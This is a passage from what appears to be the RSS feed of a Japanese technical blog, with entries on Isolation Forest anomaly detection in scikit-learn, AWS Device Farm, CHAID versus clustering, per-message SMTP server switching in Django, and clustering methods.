&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;16
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;17
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;18
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;19
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;20
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;21
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; sklearn.ensemble &lt;span style="color:#f92672"&gt;import&lt;/span&gt; IsolationForest
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; numpy &lt;span style="color:#66d9ef"&gt;as&lt;/span&gt; np
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# サンプルデータ生成&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;np&lt;span style="color:#f92672"&gt;.&lt;/span&gt;random&lt;span style="color:#f92672"&gt;.&lt;/span&gt;seed(&lt;span style="color:#ae81ff"&gt;42&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;X &lt;span style="color:#f92672"&gt;=&lt;/span&gt; np&lt;span style="color:#f92672"&gt;.&lt;/span&gt;random&lt;span style="color:#f92672"&gt;.&lt;/span&gt;randn(&lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;) &lt;span style="color:#75715e"&gt;# 正常データ&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;X &lt;span style="color:#f92672"&gt;=&lt;/span&gt; np&lt;span style="color:#f92672"&gt;.&lt;/span&gt;r_[X, np&lt;span style="color:#f92672"&gt;.&lt;/span&gt;random&lt;span style="color:#f92672"&gt;.&lt;/span&gt;randn(&lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;) &lt;span style="color:#f92672"&gt;+&lt;/span&gt; [&lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;]] &lt;span style="color:#75715e"&gt;# 異常データ&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Isolation Forestモデルの作成&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;clf &lt;span style="color:#f92672"&gt;=&lt;/span&gt; IsolationForest(contamination&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0.2&lt;/span&gt;) &lt;span style="color:#75715e"&gt;# 異常データの割合を指定&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;clf&lt;span style="color:#f92672"&gt;.&lt;/span&gt;fit(X)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 異常度の予測&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;y_pred &lt;span style="color:#f92672"&gt;=&lt;/span&gt; clf&lt;span style="color:#f92672"&gt;.&lt;/span&gt;predict(X)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 異常データの抽出&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;anomalies &lt;span style="color:#f92672"&gt;=&lt;/span&gt; X[y_pred &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 結果の表示&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;print(&lt;span style="color:#e6db74"&gt;&amp;#34;異常データ:&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;print(anomalies)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="コード解説"&gt;コード解説&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;データの生成:&lt;/strong&gt; 正常なデータと異常なデータを生成します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;モデルの作成:&lt;/strong&gt; IsolationForestのインスタンスを作成し、contaminationパラメータで異常データの割合を指定します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;モデルの学習:&lt;/strong&gt; fitメソッドでモデルを学習させます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;異常度の予測:&lt;/strong&gt; predictメソッドで各データの異常度を予測します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;異常データの抽出:&lt;/strong&gt; 予測結果が-1のデータを異常データとして抽出します。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="その他の注意点"&gt;その他の注意点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;contaminationパラメータ:&lt;/strong&gt; 異常データの割合を事前にある程度把握している場合に、このパラメータを指定することで、より正確な異常検知が可能になります。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;特徴量のスケーリング:&lt;/strong&gt; 特徴量のスケールが異なる場合、標準化や正規化を行うことで、モデルの性能が向上する場合があります。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ハイパーパラメータのチューニング:&lt;/strong&gt; Isolation Forestには、他にも様々なハイパーパラメータが存在します。GridSearchCVなどを用いて、最適なパラメータを探索することができます。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="より詳細な情報"&gt;より詳細な情報&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;sklearnの公式ドキュメント:&lt;/strong&gt; IsolationForestの詳しい説明や他の異常検知アルゴリズムについては、sklearnの公式ドキュメントを参照してください。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Qiitaなどの技術ブログ:&lt;/strong&gt; 多くの技術ブログで、sklearnを用いた異常検知の具体的な事例や解説が紹介されています。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="応用"&gt;応用&lt;/h3&gt;
&lt;p&gt;異常検知は、不正検出、故障検知、品質管理など、様々な分野で活用されています。&lt;/p&gt;</description></item><item><title>AWS: Device Farm</title><link>https://hdknr.github.io/blogs/posts/2024/12/aws-device-farm/</link><pubDate>Mon, 09 Dec 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/12/aws-device-farm/</guid><description>&lt;h1 id="aws-device-farm"&gt;AWS Device Farm&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.openupitengineer.co.jp/column/it-technology/8571"&gt;AWS Device Farmとは？利点と利用方法も紹介します！&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://onetech.jp/blog/aws-device-farm-15067"&gt;AWS Device Farmとは？実機を使ったモバイルアプリのテストについて解説&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;AWS Device Farmは、実際のモバイルデバイスやデスクトップブラウザを使用してアプリケーションをテストするサービスです。以下のような仕組みで動作しています：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;実機デバイスの使用&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;AWS Device Farmは、エミュレーターやシミュレーターではなく、実際のスマートフォンやタブレットを使用します。&lt;/li&gt;
&lt;li&gt;これにより、メモリ使用量、CPU負荷、位置情報、メーカーやキャリアによるファームウェアの違いなど、実際の使用環境に近い条件でテストが可能です
&lt;a href="https://aws.amazon.com/jp/device-farm/"&gt;1&lt;/a&gt;
&lt;a href="https://www.openupitengineer.co.jp/column/it-technology/8571"&gt;2&lt;/a&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;リモートアクセス&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;開発者はAWSのクラウド上にあるこれらの実機デバイスにリモートでアクセスし、アプリケーションをインストールしてテストを実行します。&lt;/li&gt;
&lt;li&gt;これにより、物理的なデバイスを手元に用意する必要がなくなります
&lt;a href="https://aws.amazon.com/jp/device-farm/"&gt;1&lt;/a&gt;
&lt;a href="https://www.openupitengineer.co.jp/column/it-technology/8571"&gt;2&lt;/a&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;自動化と手動テスト&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Device Farmは、AppiumやEspressoなどのオープンソースのテストフレームワークを使用して自動テストを実行できます。&lt;/li&gt;
&lt;li&gt;また、リモートアクセスを利用して手動でのテストも可能です
&lt;a href="https://aws.amazon.com/jp/device-farm/"&gt;1&lt;/a&gt;
&lt;a href="https://www.openupitengineer.co.jp/column/it-technology/8571"&gt;2&lt;/a&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;テスト結果の収集と分析&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;テストの実行中に、動画、ログ、パフォーマンスデータなどが収集され、これらのデータを分析することで、アプリケーションの問題点を迅速に特定し、修正することができます
&lt;a href="https://aws.amazon.com/jp/device-farm/"&gt;1&lt;/a&gt;
&lt;a href="https://www.openupitengineer.co.jp/column/it-technology/8571"&gt;2&lt;/a&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;スケーラビリティ&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;複数のデバイスやブラウザで同時にテストを実行できるため、テストスイートの実行時間を短縮し、効率的にテストを進めることができます
&lt;a href="https://aws.amazon.com/jp/device-farm/"&gt;1&lt;/a&gt;
&lt;a href="https://www.openupitengineer.co.jp/column/it-technology/8571"&gt;2&lt;/a&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;このように、AWS Device Farmは実際のデバイスを使用して、より現実に即したテスト環境を提供し、アプリケーションの品質向上を支援しています。&lt;/p&gt;</description></item><item><title>CHAID</title><link>https://hdknr.github.io/blogs/posts/2024/12/chaid/</link><pubDate>Mon, 09 Dec 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/12/chaid/</guid><description>&lt;h1 id="chaid"&gt;CHAID&lt;/h1&gt;
&lt;h2 id="chaid-とクラスタリング手法の関連性について"&gt;CHAID とクラスタリング手法の関連性について&lt;/h2&gt;
&lt;p&gt;CHAID（Chi-squared Automatic Interaction Detector）とクラスタリング手法は、どちらもデータをグループ化するという点で共通点がありますが、その目的やアプローチは異なります。&lt;/p&gt;
&lt;h3 id="chaid-とクラスタリング手法の違い"&gt;CHAID とクラスタリング手法の違い&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;特徴&lt;/th&gt;
&lt;th&gt;CHAID&lt;/th&gt;
&lt;th&gt;クラスタリング&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;目的&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;目的変数との関係に基づいてデータを分割し、予測モデルを構築する&lt;/td&gt;
&lt;td&gt;データ間の類似性に基づいて、自然なグループを発見する&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;手法&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;決定木分析の一種であり、カイ二乗検定を用いて変数を分割する&lt;/td&gt;
&lt;td&gt;K-means、階層クラスタリングなど、様々なアルゴリズムが存在&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;出力&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;決定木&lt;/td&gt;
&lt;td&gt;クラスタ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;教師あり・なし学習&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;教師あり学習（目的変数あり）&lt;/td&gt;
&lt;td&gt;教師なし学習（目的変数なし）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="それぞれの強み"&gt;それぞれの強み&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;CHAID&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;目的変数との関係を明確化:&lt;/strong&gt; 目的変数との関連性が高い変数を特定し、その関係性を可視化できるため、因果関係の分析に適している。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;解釈の容易さ:&lt;/strong&gt; 決定木という形で表現されるため、結果が直感的に理解しやすい。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;非線形な関係の発見:&lt;/strong&gt; 線形モデルでは捉えにくい、非線形な関係を検出できる。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;クラスタリング&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;自然なグループの発見:&lt;/strong&gt; データ間の類似性に基づいて、自然なグループを発見できる。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;セグメンテーション:&lt;/strong&gt; 顧客セグメンテーションなど、マーケティング分野で広く活用されている。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;異常検知:&lt;/strong&gt; クラスタから大きく外れたデータを異常値として検出できる。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="具体的な活用例"&gt;具体的な活用例&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CHAID:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;顧客の属性データから、特定の商品を購入しやすい顧客グループを特定する。&lt;/li&gt;
&lt;li&gt;医療データから、ある疾患になりやすい患者の特徴を抽出する。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;クラスタリング:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;顧客データをクラスタリングし、それぞれのクラスタに合わせたマーケティング施策を展開する。&lt;/li&gt;
&lt;li&gt;文書データをクラスタリングし、トピックを抽出する。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="両者の連携"&gt;両者の連携&lt;/h3&gt;
&lt;p&gt;CHAID とクラスタリングは、それぞれ異なる強みを持つため、組み合わせることでより深い分析が可能になります。例えば、&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;クラスタリングで得られたクラスタに対して、CHAID を用いて各クラスタの特徴を分析する。&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CHAID で得られた決定木の葉ノードを新たなデータのクラスタとして利用する。&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="まとめ"&gt;まとめ&lt;/h3&gt;
&lt;p&gt;CHAID とクラスタリングは、どちらもデータをグループ化するという共通点がありますが、その目的やアプローチは異なります。どちらの手法が適切かは、分析の目的やデータの性質によって異なります。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;目的変数との関係を明らかにしたい場合は CHAID&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;データ間の類似性に基づいてグループ分けしたい場合はクラスタリング&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;が一般的です。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;どちらの手法が適切か迷う場合は、以下の点を考慮すると良いでしょう。&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;目的変数の有無:&lt;/strong&gt; 目的変数がある場合は CHAID、ない場合はクラスタリングが適している。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;データの性質:&lt;/strong&gt; カテゴリカルデータが多い場合は CHAID、数値データが多い場合はクラスタリングが適している。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;分析の目的:&lt;/strong&gt; 予測モデルを構築したい場合は CHAID、自然なグループを発見したい場合はクラスタリングが適している。&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Django Email</title><link>https://hdknr.github.io/blogs/posts/2024/11/django-email/</link><pubDate>Thu, 28 Nov 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/11/django-email/</guid><description>&lt;h1 id="メール送信"&gt;メール送信&lt;/h1&gt;
&lt;p&gt;Djangoでメールを送信する際に、都度サーバーを切り替える方法はいくつかあります。以下の手順で実装できます。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;メールサーバーの設定を動的に変更する&lt;/strong&gt;:
Djangoの&lt;code&gt;EmailMessage&lt;/code&gt;クラスを使用して、メール送信時にサーバー設定を動的に変更できます。例えば、以下のように&lt;code&gt;connection&lt;/code&gt;パラメータを使用して異なるサーバーを指定します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; django.core.mail &lt;span style="color:#f92672"&gt;import&lt;/span&gt; EmailMessage, get_connection
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;send_email&lt;/span&gt;(subject, message, from_email, recipient_list, server_settings):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; connection &lt;span style="color:#f92672"&gt;=&lt;/span&gt; get_connection(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; host&lt;span style="color:#f92672"&gt;=&lt;/span&gt;server_settings[&lt;span style="color:#e6db74"&gt;&amp;#39;EMAIL_HOST&amp;#39;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; port&lt;span style="color:#f92672"&gt;=&lt;/span&gt;server_settings[&lt;span style="color:#e6db74"&gt;&amp;#39;EMAIL_PORT&amp;#39;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; username&lt;span style="color:#f92672"&gt;=&lt;/span&gt;server_settings[&lt;span style="color:#e6db74"&gt;&amp;#39;EMAIL_HOST_USER&amp;#39;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; password&lt;span style="color:#f92672"&gt;=&lt;/span&gt;server_settings[&lt;span style="color:#e6db74"&gt;&amp;#39;EMAIL_HOST_PASSWORD&amp;#39;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; use_tls&lt;span style="color:#f92672"&gt;=&lt;/span&gt;server_settings[&lt;span style="color:#e6db74"&gt;&amp;#39;EMAIL_USE_TLS&amp;#39;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; use_ssl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;server_settings[&lt;span style="color:#e6db74"&gt;&amp;#39;EMAIL_USE_SSL&amp;#39;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; )
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; email &lt;span style="color:#f92672"&gt;=&lt;/span&gt; EmailMessage(subject, message, from_email, recipient_list, connection&lt;span style="color:#f92672"&gt;=&lt;/span&gt;connection)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; email&lt;span style="color:#f92672"&gt;.&lt;/span&gt;send()
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;サーバー設定のリストを用意する&lt;/strong&gt;:
複数のサーバー設定をリストで管理し、メール送信時にランダムまたは順番に選択する方法です。&lt;/p&gt;</description></item><item><title>クラスタリング</title><link>https://hdknr.github.io/blogs/posts/2024/11/%E3%82%AF%E3%83%A9%E3%82%B9%E3%82%BF%E3%83%AA%E3%83%B3%E3%82%B0/</link><pubDate>Sun, 17 Nov 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/11/%E3%82%AF%E3%83%A9%E3%82%B9%E3%82%BF%E3%83%AA%E3%83%B3%E3%82%B0/</guid><description>&lt;h1 id="クラスタリング"&gt;クラスタリング&lt;/h1&gt;
&lt;h2 id="手法"&gt;手法&lt;/h2&gt;
&lt;p&gt;ユーザーを属性に基づいてクラスタリングするためには、いくつかの手法があります。以下に代表的なものを紹介します：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;K-meansクラスタリング&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ユーザーを事前に決めた数のクラスタに分ける手法です。各クラスタの中心（セントロイド）を計算し、ユーザーを最も近いクラスタに割り当てます。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;階層的クラスタリング&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ユーザーを階層的にクラスタリングする手法です。デンドログラムと呼ばれる木構造を作成し、ユーザーを段階的にクラスタに分けます。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;DBSCAN（Density-Based Spatial Clustering of Applications with Noise）&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;密度に基づくクラスタリング手法で、データの密度が高い部分をクラスタとして識別します。ノイズや外れ値を扱うのに適しています。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Gaussian Mixture Models（GMM）&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;データが複数のガウス分布から生成されていると仮定し、各クラスタをガウス分布としてモデル化します。クラスタの形状が楕円形の場合に有効です。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;主成分分析（PCA）&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
